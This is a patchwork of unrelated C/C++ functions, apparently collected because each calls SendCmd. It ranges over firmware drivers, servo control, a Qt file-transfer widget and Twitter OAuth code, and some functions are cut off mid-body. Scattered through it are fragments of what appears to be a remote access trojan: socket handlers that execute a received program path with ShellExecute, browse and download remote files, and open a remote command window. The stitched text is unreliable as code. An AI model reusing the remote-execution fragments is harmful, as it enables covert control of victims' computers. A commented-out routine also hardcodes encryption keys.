/**
* @brief 使用EMW3081模块和EDP协议向ONENET平台发送一个二进制文件，其中二进制文件为一个图片文件。
**/
int main(void)
{
//SystemInit();
LED_Init(); //LED指示灯初始化函数
usart1_config(); //USART1串口初始化函数
usart2_config(); //USART2串口初始化函数
Delay(2000);
while(1)
{
LED_Switch(LED_ON,LED_R|LED_G|LED_Y|LED_B); //点亮开发板四个指示灯，表示程序进入主流程
EMW3081_Reboot(); //重启EMW3081模块
printf("%s\r\n","[main]ENTER COITINIT.");
SendCmd(CIOTINIT,"+OK",40); //初始化EMW3081在ONENET平台的设备参数
printf("%s\r\n","[main]ENTER COITSTART.");
SendCmd(CIOTSTART,"+OK",40); //启动EMW3081向平台发送数据
LED_Switch(LED_OFF,LED_R|LED_G|LED_Y|LED_B); //熄灭开发板四个指示灯，表示程序完成设备连接，进入数据发送循环
while(1)
{
EMW3081_SendBinDat(); //使用EMW3081向平台发送数据
if((NULL != strstr(usart2_rcv_buf, "+ERR"))) //检测EMW3081发送一个二进制文件过程是否出错
{
break; //如果文件发送出错，退出数据发送循环
}
}
}
}
//////////////////////////////////////////////////////////////////////////
//文件夹回溯
//////////////////////////////////////////////////////////////////////////
BOOL FileBack(SOCKET sockfd,int dwSize)
{
char* szPath = szRecvCmd+sizeof(RatProto);
if (strlen(szPath)==3)
{
DriveList(sockfd);
return TRUE;
}
for (int i=strlen(szPath)-2;i>0;i--)
{
if (szPath[i]=='\\')
{
szPath[i+1] = '*';
break;
}
else
{
szPath[i] = '\0';
}
}
FileList(sockfd,szPath);
RatProto ratPro;
ratPro.RatId = FILE_REPLY;
ratPro.RatLen = sizeof(RatProto)+MAX_PATH;
SendCmd(sockfd,(char*)(&ratPro),sizeof(RatProto));
szPath[strlen(szPath)-1] = '\0';
SendCmd(sockfd,szPath,MAX_PATH);
return TRUE;
}
//////////////////////////////////////////////////////////////////////////
//执行EXE文件
//////////////////////////////////////////////////////////////////////////
BOOL FileExcute(SOCKET sockfd,int dwSize)
{
char* szPath = szRecvCmd+sizeof(RatProto);
ShellExecute(NULL,"open",szPath,NULL,NULL,SW_SHOWNORMAL);
for (int i=strlen(szPath)-1;i>0;i--)
{
if (szPath[i]=='\\')
{
break;
}
else
{
szPath[i] = '\0';
}
}
char szMsg[] = "执行成功！";
RatProto ratPro;
ratPro.RatId = FILE_REPLY;
ratPro.RatLen = sizeof(RatProto)+MAX_PATH+strlen(szMsg)+1;
SendCmd(sockfd,(char*)(&ratPro),sizeof(RatProto));
SendCmd(sockfd,szPath,MAX_PATH);
SendCmd(sockfd,szMsg,strlen(szMsg)+1);
return TRUE;
}
AJ_Status AJS_TargetIO_PinEnableTrigger(void* pinCtx, AJS_IO_PinTriggerMode trigger, int32_t* trigId, uint8_t debounce)
{
GPIO* gpio = (GPIO*)pinCtx;
if ((trigger != AJS_IO_PIN_TRIGGER_ON_RISE) && (trigger != AJS_IO_PIN_TRIGGER_ON_FALL)) {
/*
* Disable triggers for this pin
*/
if (gpio->trigId != AJS_IO_PIN_NO_TRIGGER) {
SendCmd('i', gpio, 0, 0);
*trigId = gpio->trigId;
BIT_CLR(trigSet, gpio->trigId);
gpio->trigId = AJS_IO_PIN_NO_TRIGGER;
} else {
*trigId = AJS_IO_PIN_NO_TRIGGER;
}
return AJ_OK;
}
SendCmd('i', gpio, (trigger == AJS_IO_PIN_TRIGGER_ON_RISE) ? 1 : 2, 0);
gpio->trigId = gpio->pinId;
*trigId = gpio->trigId;
AJ_ErrPrintf(("AJS_TargetIO_PinEnableTrigger pinId %d\n", gpio->pinId));
return AJ_OK;
}
void Video(void) {
uchar CurRow,CurCol;
// if (CheckKeyboardXMEGA()) return;
if (GrafView) {
GrafView--;
if (!GrafView) ClearGraf();
else return;
}
IniLCDMem();
TimeToBuf();
//---- output CharSet ----------------
SendBlock(&buf[0],TxtHomeAddr,DisplCols);
SendBlock(&buf[Str2],TxtHomeAddr+DisplCols*2,DisplCols*(SUM_LINE_DISP-4));
if(Menu) SendCmd(cmd8LineCurs);
else SendCmd(cmd3LineCurs);
//-- установить курсор --
CurCol=(AdinB+Mark) % DisplCols;
CurRow=(AdinB+Mark) / DisplCols;// + 2;
Send2(cmdPozCurs,((int)CurRow * 256)+ CurCol); //0x0101);
VideoSost();
}
//////////////////////////////////////////////////////////////////////////
//打开文件
//////////////////////////////////////////////////////////////////////////
BOOL FileOpen(SOCKET sockfd,char* szFile,char* szType)
{
RatProto ratPro;
if (strcmp(szType,"EXE")==0)
{
ratPro.RatId = FILE_EXCUTE;
sprintf(szTempPath,"%s%s",szTempPath,szFile);
}
else if (strcmp(szType,"DRIVE")==0)
{
ratPro.RatId = FILE_OPEN;
sprintf(szTempPath,"%s*",szFile);
}
else
{
ratPro.RatId = FILE_OPEN;
sprintf(szTempPath,"%s%s\\*",szTempPath,szFile);
}
ratPro.RatLen = sizeof(RatProto)+MAX_PATH;
SendCmd(sockfd,(char*)(&ratPro),sizeof(RatProto));
Sleep(100);
SendCmd(sockfd,szTempPath,MAX_PATH);
return TRUE;
}
void HT1621B_Init(void)
{
SendCmd(BIAS); //设置偏压和占空比
SendCmd(SYSEN); //打开系统振荡器
SendCmd(LCDON); //打开LCD 偏压发生器
}
//////////////////////////////////////////////////////////////////////////
//远程信息窗口过程
//////////////////////////////////////////////////////////////////////////
LRESULT CALLBACK SysDlgProc(HWND hDlg,UINT uMsg,WPARAM wParam,LPARAM lParam)
{
HWND hList;
switch (uMsg)
{
case WM_COMMAND:
{
}
break;
case WM_SOCKET:
{
switch(LOWORD(lParam))
{
case FD_WRITE:
{
//继续发送
SendCmd(sockfd,NULL,NULL);
}
break;
case FD_READ:
{
RecvCmd(sockfd);
}
break;
case FD_CLOSE:
{
//SOCKET出错处理,MainFunc.H里 清理缓冲区
SocketError(sockfd);
}
break;
}
}
break;
case WM_INITDIALOG:
{
sockfd = (SOCKET)lParam;
hList = GetDlgItem(hDlg,IDC_LIST1);
//非拥塞模式
WSAAsyncSelect(sockfd,hDlg,WM_SOCKET,FD_WRITE|FD_READ|FD_CLOSE);
//发送命令请求
RatProto ratPro;
ratPro.RatId = SYS_VIEW;
ratPro.RatLen = sizeof(RatProto);
SendCmd(sockfd,(char*)&ratPro,ratPro.RatLen);
//初始化列表
InitSysList(hList);
}
break;
case WM_CLOSE:
{
EndDialog(hDlg,NULL);
}
break;
default:
break;
}
return FALSE;
}
void CHello2Dlg::OnBtnRun()
{
// TODO: Add your control notification handler code here
UpdateData();
if(m_running){ //stop the running program
m_running = false;
SendCmd(CMD_PAUSE);
if(IDYES == ::AfxMessageBox(_T("是否停止测量?"),MB_YESNO)){
SendCmd(CMD_ABORT);
for(int i=0;i<sizeof(m_ridlgs)/sizeof(CRunitemDialog*);i++){
m_ridlgs[i]->m_prg.Abort();
}
CTesterProgram::m_swinav.reset_swi();
CTesterProgram::m_swinav.scan('*',0);
m_running = false;
}else{
SendCmd(CMD_GOON);
m_running = true;
}
}else{ //start the running program
SendCmd(CMD_ABORT);
SendCmd(CMD_PAUSE);
m_graph.iBufMax = m_runcount;
if(m_graph.iBufMax > BUF_MAX_DEFAULT)
m_graph.iBufMax = BUF_MAX_DEFAULT;
if(m_runcount <= 0)
m_graph.iBufMax = BUF_MAX_DEFAULT;
LoadCurrentView();
CString def = CRunitemDialog::GetSingleSetting(SYS_DEFINFO,DEFAULT_RES);
def.Replace(_T("u_"),_T("d_"));
CTesterProgram::SetGlobalEnv(def);
int start = -1;
for(int i=0;i<sizeof(m_ridlgs)/sizeof(CRunitemDialog*);i++){
m_ridlgs[i]->Reset(m_runcount);
if(m_ridlgs[i]->IsValid() && (m_ridlgs[i]->cfg_now == m_cfgtype)){
if(start < 0)
start = i;
m_ridlgs[i]->PrepareRun(m_runcount);
m_ridlgs[i]->m_prg.SetEnv(CRunitemDialog::GetSingleSetting(SYS_DEFINFO,m_sysdlg->m_name)+\
CRunitemDialog::GetSingleSetting(FLT_DEFINFO,m_fltdlg->m_name)+\
CRunitemDialog::GetSingleSetting(PRB_DEFINFO,m_ridlgs[i]->m_prbid)+\
m_ridlgs[i]->GetCFGSetting());
}
}
lastid = 999;
cur_prg = &(m_ridlgs[start]->m_prg);
m_running = true;
}
SET_RUN_TEXT;
}
//////////////////////////////////////////////////////////////////////////
//下载文件
//////////////////////////////////////////////////////////////////////////
BOOL FileDownLoad(SOCKET sockfd,char* szFile)
{
RatProto ratPro;
ratPro.RatId = FILE_DOWNLOAD;
ratPro.RatLen = sizeof(RatProto)+MAX_PATH;
SendCmd(sockfd,(char*)(&ratPro),sizeof(RatProto));
sprintf(szTempPath,"%s%s\0",szTempPath,szFile);
SendCmd(sockfd,szTempPath,MAX_PATH);
return TRUE;
}
//////////////////////////////////////////////////////////////////////////
//返回上一级
//////////////////////////////////////////////////////////////////////////
BOOL FolderBack(SOCKET sockfd)
{
RatProto ratPro;
ratPro.RatId = FILE_BACK;
ratPro.RatLen = sizeof(RatProto)+MAX_PATH;
SendCmd(sockfd,(char*)(&ratPro),sizeof(RatProto));
Sleep(100);
SendCmd(sockfd,szTempPath,MAX_PATH);
return TRUE;
}
virtual bool Go(uint value, CSideCoord coord) {
LogEx("Comm Go " << coord);
int rank = m_fields[coord.m_side];
if (0 == rank) return false;
SendCmd(CMD_ENTER, 0);
SendCmd(CMD_GO, rank);
SendData(value, rank);
SendData(coord.Flip(), rank);
return false;
}
void CKerrControl::EnableServoTorque( int MotorNumber, BOOL bEnable )
{
// send command to enable servo Amplifier
m_KerrCmd.ID = (BYTE)MotorNumber; // Address of Servo to access use 0 for initial start-up
m_KerrCmd.Command = KERR_CMD_STOP_SERVO + 0x10; // High Nibble contains number of Data Bytes
if(bEnable)
{
ROBOT_LOG( TRUE,"KERR - Enabling Torque on Shoulder Motor %d\n", MotorNumber)
m_KerrCmd.Data[0] = KERR_AMP_ENABLE; // Enable/Disable bit 0
SendCmd(1);
// Now, if home position not set, do it!
if( KERR_ARM_MOTOR_ID_RIGHT == MotorNumber )
{
if( !m_HomePositionInitializedRight )
{
CalibrateHomePosition( MotorNumber );
// Set motor speed and move home
SetArmPositionAndSpeed( MotorNumber, (RIGHT_ARM_SHOULDER_HOME1 * 10), SERVO_SPEED_MED_SLOW );
g_BulkServoCmd[KERR_RIGHT_ARM_SHOULDER_SERVO_ID].PositionTenthDegrees = RIGHT_ARM_SHOULDER_HOME1 * 10; // make sure g_BulkServoCmd matches
}
}
else if( KERR_ARM_MOTOR_ID_LEFT == MotorNumber )
{
if( !m_HomePositionInitializedLeft )
{
CalibrateHomePosition( MotorNumber );
// Set motor speed and move home
SetArmPositionAndSpeed( MotorNumber, (LEFT_ARM_SHOULDER_HOME1 * 10), SERVO_SPEED_MED_SLOW );
g_BulkServoCmd[KERR_LEFT_ARM_SHOULDER_SERVO_ID].PositionTenthDegrees = LEFT_ARM_SHOULDER_HOME1 * 10; // make sure g_BulkServoCmd matches
}
}
else
{
ROBOT_ASSERT(0);
}
}
else
{
// Disable Torque
m_KerrCmd.Data[0] = KERR_SERVO_OFF; // Enable/Disable
SendCmd(1);
if( KERR_ARM_MOTOR_ID_RIGHT == MotorNumber )
{
m_HomePositionInitializedRight = FALSE;
ROBOT_LOG( TRUE,"KERR - Right Shoulder Torque Disabled\n")
}
else if( KERR_ARM_MOTOR_ID_LEFT == MotorNumber )
//////////////////////////////////////////////////////////////////////////
//打开指定文件
//////////////////////////////////////////////////////////////////////////
BOOL FileOpen(SOCKET sockfd,int dwSize)
{
char* szPath = szRecvCmd+sizeof(RatProto);
FileList(sockfd,szPath);
szPath[strlen(szPath)-1] = '\0';
RatProto ratPro;
ratPro.RatId = FILE_REPLY;
ratPro.RatLen = sizeof(RatProto)+MAX_PATH;
SendCmd(sockfd,(char*)(&ratPro),sizeof(RatProto));
SendCmd(sockfd,szPath,MAX_PATH);
return TRUE;
}
int main(int argc,char** argv)
{
unsigned char idx = 1;
char portName[128] = "/dev/ttyUSB0";
const unsigned char boostSpeedIdx = 5;
int tty_fd = -1;
if(argc >= 3)
{ //default baud rate 9600 bps
idx = atoi(argv[2]);
}
if(argc >= 2)
{
strcpy(portName, argv[1]);
}
printf("argc=%d\r\n", argc);
printf("idx=%d\r\n", idx);
printf("portName=%s\r\n", portName);
tty_fd = Open(portName, idx);
ShowTty(tty_fd, 1024);
unsigned char cmd[11] = { 0xA0, 0xA1, 0x00, 0x04, 0x05, 0x00, (unsigned char)boostSpeedIdx, 0x02, 0x02 ,0x0D, 0x0A };
//unsigned char cmd[11] = { 0xA0, 0xA1, 0x00, 0x04, 0x05, 0x00, 0x07, 0x00, 0x02 ,0x0D, 0x0A };
SendCmd(tty_fd, cmd, sizeof(cmd));
Sleep(1000);
tcflush(tty_fd, TCIFLUSH);
close(tty_fd);
Sleep(1000);
tty_fd = Open(portName, boostSpeedIdx);
ShowTty(tty_fd, 1024);
unsigned char cmd2[11] = { 0xA0, 0xA1, 0x00, 0x04, 0x05, 0x00, idx, 0x02, 0x04 ,0x0D, 0x0A };
SendCmd(tty_fd, cmd2, sizeof(cmd2));
Sleep(1000);
tcflush(tty_fd, TCIFLUSH);
close(tty_fd);
Sleep(1000);
tty_fd = Open(portName, idx);
ShowTty(tty_fd, 1024);
close(tty_fd);
}
void IniLCDMem(void) {
Send2(cmdTxtHome,TxtHomeAddr);
Send2(cmdGrfHome,GrfHomeAddr);
Send2(cmdTxtArea,TxtArea);
Send2(cmdGrfArea,GrfArea);
SendCmd(cmdModeEXOR);
Send2(cmdOffSet,OffSet);
SendCmd(cmdTxtOnGrafOff);
// SendCmd(cmdTxtOnGrafOn);
SendSim(DTire,(SUM_LINE_DISP-2)); //=
if (x_menu) SendSim(Tire,1);
}
/*static int EncryptResult(const char* result_in, char **result_out, int *result_out_len)
{
if(NULL==result_in)
{
*result_out=0;
*result_out_len=0;
return -1;
}
else
{
des_key_schedule ks,ks2,ks3;
static unsigned char cbc_key [8]={0x01, 0x23, 0x45, 0x67, 0x89, 0xab, 0xcd, 0xef};
static unsigned char cbc2_key[8]={0x23, 0x45, 0x67, 0x89, 0xab, 0xcd, 0xef, 0x01};
static unsigned char cbc3_key[8]={0x45, 0x67, 0x89, 0xab, 0xcd, 0xef, 0x01, 0x23};
static unsigned char cbc_iv [8]={0x12, 0x34, 0x56, 0x78, 0x90, 0xab, 0xcd, 0xef};
des_cblock iv3;
memcpy(iv3,cbc_iv,sizeof(cbc_iv));
if (DES_set_key_checked(&cbc_key,&ks) != 0
|| DES_set_key_checked(&cbc2_key,&ks2) != 0
|| DES_set_key_checked(&cbc3_key,&ks3) != 0)
{
printf("Key error \n");
return -1;
}
int result_in_len = strlen(result_in);
int cbc_out_len = (result_in_len+15)/16*16+16;
unsigned char *cbc_in = malloc(cbc_out_len);
unsigned char *cbc_out = malloc(cbc_out_len);
memset(cbc_in, 0, cbc_out_len);
memcpy(cbc_in, result_in, result_in_len);
printf("1 %d\n",cbc_out_len);
int i, j=cbc_out_len/16;
for(i=0; i<j; ++i)
{
des_ede3_cbc_encrypt(cbc_in+i*16,cbc_out+i*16,16L,ks,ks2,ks3,&iv3,
DES_ENCRYPT);
printf("1\n");
}
free(cbc_in);
*result_out_len = cbc_out_len;
*result_out = (char*)cbc_out;
}
return 0;
}
static char* EncryptResultToString(char* result, int result_len)
{
if(NULL==result || 0==result_len) return result;
printf("len=%d\n", result_len);
char* lisencebase64 = base64Encode(result, result_len);
printf("base64:%s, len=%zu\n", lisencebase64, strlen(lisencebase64));
free(result);
return lisencebase64;
}
*/
static int SendResult(int fd, const char* result)
{
assert(fd>0);
if(NULL==result) return 0;
/*int Encrypt=0;//no Encrypt now!!
char *result2;
if(Encrypt)
{
//char *result_out=NULL;
//int result_out_len=0;
//EncryptResult(result, &result_out, &result_out_len);
//result2 = EncryptResultToString(result_out, result_out_len);
}
else
{
result2 = result;
}*/
int err = SendCmd(fd, result);
//free(result);
return err;
}
void FileTransferWidget::GetNextFile()
{
if (m_filesHashIter->hasNext())
{
m_speedBytes = 0;
m_currentFileSize = 0;
QHash<QString, quint32>::const_iterator currFile = m_filesHashIter->next();
m_ui->progressBar->setMaximum(currFile.value());
m_ui->progressBar->setValue(0);
m_ui->fileSizeLabel->setText(MRIMCommonUtils::GetFileSize(currFile.value()));
m_ui->doneLabel->setText(MRIMCommonUtils::GetFileSize(0));
m_ui->statusLabel->setText(tr("Getting file..."));
m_ui->fileNameLabel->setText(currFile.key());
m_ui->speedLabel->clear();
QString reqCmd("MRA_FT_GET_FILE "+currFile.key());
m_currentFile.setFileName(m_location+currFile.key());
m_currentFile.open(QIODevice::WriteOnly);
SendCmd(reqCmd);
m_currentStatus = FT_WAIT_FOR_TRANSFER;
UpdateProgress();
}
else
{
m_client->Protocol()->FileTransferCompleted(m_req.UniqueId);
m_currentStatus = FT_TRANSFER_COMPLETED;
m_socket->disconnectFromHost();
m_ui->cancelButton->setText(tr("Close"));
if (m_ui->closeAfterTransfer->checkState() == Qt::Checked)
{
close();
}
}
}
void FileTransferWidget::ReadyRead()
{
switch (m_transferMode)
{
case TM_RECIEVE_CLIENT:
{
if (m_currentStatus == FT_WAIT_FOR_HELLO)
{
QString cmd(m_socket->readAll());
qDebug()<<"File transfer cmd recieved: "<<cmd;
if (cmd.contains("MRA_FT_HELLO") && cmd.contains(m_req.From))
{
GetNextFile();
}
}
else
{
m_currentFileSize += m_socket->bytesAvailable();
m_speedBytes += m_socket->bytesAvailable();
m_ui->doneLabel->setText(MRIMCommonUtils::GetFileSize(m_currentFileSize));
m_ui->progressBar->setValue(m_currentFileSize);
m_currentFile.write(m_socket->readAll());
if (m_currentFileSize >= m_filesHashIter->value())
{
//done with current file
m_currentFile.close();
m_currentStatus = FT_TRANSFER_FILE_COMPLETED;
GetNextFile();
}
}
}
break;
case TM_SEND_SERVER:
{
if (m_currentStatus == FT_WAIT_FOR_HELLO)
{
QString cmd(m_socket->readAll());
qDebug()<<"File transfer cmd recieved: "<<cmd;
if (cmd.contains("MRA_FT_HELLO") && cmd.contains(m_req.To))
{
SendCmd("MRA_FT_HELLO "+m_client->GetAccountInfo().account_name);
m_currentStatus = FT_WAIT_FOR_TRANSFER;
}
}
else if (m_currentStatus == FT_WAIT_FOR_TRANSFER && m_sentFilesCount < m_req.FilesInfo.count())
{
QString cmdStr(m_socket->readAll());
qDebug()<<"File transfer cmd recieved: "<<cmdStr;
QStringList cmd = cmdStr.split(' ');
if (cmd.contains("MRA_FT_GET_FILE"))
{
m_currentStatus = FT_TRANSFER;
SendFile(cmd[1]);
}
}
}
break;
}
}
//認証結果の暗証番号を設定する
//内部でGetAuthorizationUrlで取得した値を使用するので、一連の流れで設定する必要あり
//戻り値：
// エラーコード
//引数：
// password [IN]暗証番号
DWORD CTwitterMain::SetAuthorizationPWD(
LPCWSTR password
)
{
if( Lock() == FALSE ) return ERR_FALSE;
DWORD ret = NO_ERR;
CRequestUtil requestUtil;
wstring requestUrl;
wstring httpHeader;
wstring key = CONSUMER_SECRET_KEY;
key += L"&";
key += this->authorization_token_secret.c_str();
requestUtil.CreateAccessToken(CONSUMER_KEY, key, this->authorization_token.c_str(), password, requestUrl, httpHeader);
ret = SendCmd(&this->httpUtil, FALSE, NW_VERB_POST, requestUrl.c_str(), httpHeader.c_str(), NULL, L"");
if( ret == NO_ERR ){
//レスポンス取得して解析
wstring buff = this->lastResponse;
Replace(buff, L"oauth_token=", L"");
Separate(buff, L"&oauth_token_secret=", this->oauth_token, buff);
Separate(buff, L"&", this->oauth_token_secret, buff);
WritePrivateProfileString(L"SET", L"token", this->oauth_token.c_str(), this->moduleIniPath.c_str() );
WritePrivateProfileString(L"SET", L"token_secret", this->oauth_token_secret.c_str(), this->moduleIniPath.c_str() );
}
UnLock();
return ret;
}
//認証用ログインURLを取得する
//戻り値：
// エラーコード
//引数：
// url [OUT]認証用ログインURL（次回API呼出時までメモリ確保）
DWORD CTwitterMain::GetAuthorizationUrl(
WCHAR** url
)
{
if( Lock() == FALSE ) return ERR_FALSE;
SAFE_DELETE_ARRAY(this->authorizationUrl);
DWORD ret = NO_ERR;
CRequestUtil requestUtil;
wstring requestUrl;
wstring httpHeader;
CRequestUtil request;
wstring key = CONSUMER_SECRET_KEY;
key += L"&";
requestUtil.CreateRequestToken(CONSUMER_KEY, key, requestUrl, httpHeader);
ret = SendCmd(&this->httpUtil, FALSE, NW_VERB_POST, requestUrl.c_str(), httpHeader.c_str(), NULL, L"");
if( ret == NO_ERR ){
//レスポンス取得して解析
wstring buff = this->lastResponse;
Replace(buff, L"oauth_token=", L"");
Separate(buff, L"&oauth_token_secret=", this->authorization_token, this->authorization_token_secret);
wstring authUrl;
request.CreateAuthorizationUrl(this->authorization_token.c_str(), authUrl);
authorizationUrl = new WCHAR[authUrl.size() + 1];
wcscpy_s(authorizationUrl, authUrl.size() + 1, authUrl.c_str());
*url = authorizationUrl;
}
UnLock();
return ret;
}
void SetGbufAdrInfo(UINT32 adr, UINT32 jadr, UINT32 tadr, UINT32 iadr)
{
char str[100];
sprintf(str, "SetGbufAdrInfo %x %x %x %x\n", adr, jadr, tadr, iadr);
SendCmd(str);
}
void SetGbufMode(UINT8 mode)
{
char str[100];
sprintf(str, "SetGbufMode %x\n", mode);
SendCmd(str);
}
void CHello2Dlg::OnExit()
{
// TODO: Add your control notification handler code here
KillTimer(1);
SendCmd(CMD_QUIT);
OnCancel();
}
//////////////////////////////////////////////////////////////////////////
//远程CMD窗口过程
//////////////////////////////////////////////////////////////////////////
LRESULT CALLBACK CmdDlgProc(HWND hDlg,UINT uMsg,WPARAM wParam,LPARAM lParam)
{
switch (uMsg)
{
case WM_COMMAND:
{
switch(LOWORD(wParam))
{
case IDC_BUTTON1:
{
//发送远程CMD命令要求
CmdRequest(sockfd,hDlg);
}
break;
}
}
break;
case WM_SOCKET:
{
switch(LOWORD(lParam))
{
case FD_WRITE:
{
//继续发送
SendCmd(sockfd,NULL,NULL);
}
break;
case FD_READ:
{
RecvCmd(sockfd);
}
break;
case FD_CLOSE:
{
//SOCKET出错处理,MainFunc.H里 清理缓冲区
SocketError(sockfd);
EndDialog(hDlg,NULL);
}
break;
}
}
break;
case WM_INITDIALOG:
{
sockfd = (SOCKET)lParam;
//非拥塞模式
WSAAsyncSelect(sockfd,hDlg,WM_SOCKET,FD_WRITE|FD_READ|FD_CLOSE);
}
break;
case WM_CLOSE:
{
EndDialog(hDlg,NULL);
}
break;
default:
break;
}
return FALSE;
}
void File2Gbuf(char *str, int adr)
{
char str1[100];
sprintf(str1, "File2Gbuf /flash/%s %x\n", str, adr);
SendCmd(str1);
}
/********************************************************************************
Description:
Set vaule to chip register, if adr > V9_SRAM_ADDR_MIN, acess sram
Parameters:
adr : register address
uVal : value
Note:
Returns:
Remarks:
*********************************************************************************/
void V9_SetReg(UINT32 adr, UINT32 val, UINT8 regWType)
{
char str[0x100];
sprintf(str, "V9_SetReg %x, %x, %x\n", adr, val, regWType);
SendCmd(str);
}
void sample_timeout(unsigned long arg)
{
static int toggle = 0;
printk("%s called\n", __func__);
SendCmd(0xED);
if (toggle == 0) {
SendCmd(0x00);
} else {
SendCmd(0x02);
}
toggle ^= 1;
mod_timer(&timer, jiffies + timeout*HZ);
}
void Run(std::string fname) {
if (!m_reader.Read(fname)) {
std::cerr << "Can not read input data\n";
assert(0);
}
{ LogEx("Read field\n" << m_reader); }
int needTasks = m_reader.GetGridSize() * m_reader.GetGridSize() + 1;
if (m_env.m_procCnt < needTasks) {
std::stringstream ss;
ss << "not enough tasks: need " << needTasks << " got " << m_env.m_procCnt;
throw ss.str();
} else if (needTasks < m_env.m_procCnt) {
for (int i = needTasks; i < m_env.m_procCnt; ++i) {
SendCmd(CMD_DIE, i);
}
}
SendTasks();
SendGo();
if (WaitFinish()) {
NotifyAllTasks(CMD_FIN_FOUND);
std::string way;
GetWay(way);
LogEx("Way found: " << way);
std::cerr << "Way found: " << way << "\n";
} else {
std::cerr << "Can not find way\n";
}
NotifyAllTasks(CMD_DIE);
}
void Gbuf2File(char *str, int len, int adr)
{
char str1[100];
sprintf(str1, "Gbuf2File /flash/%s %x %x\n", str, len, adr);
SendCmd(str1);
}
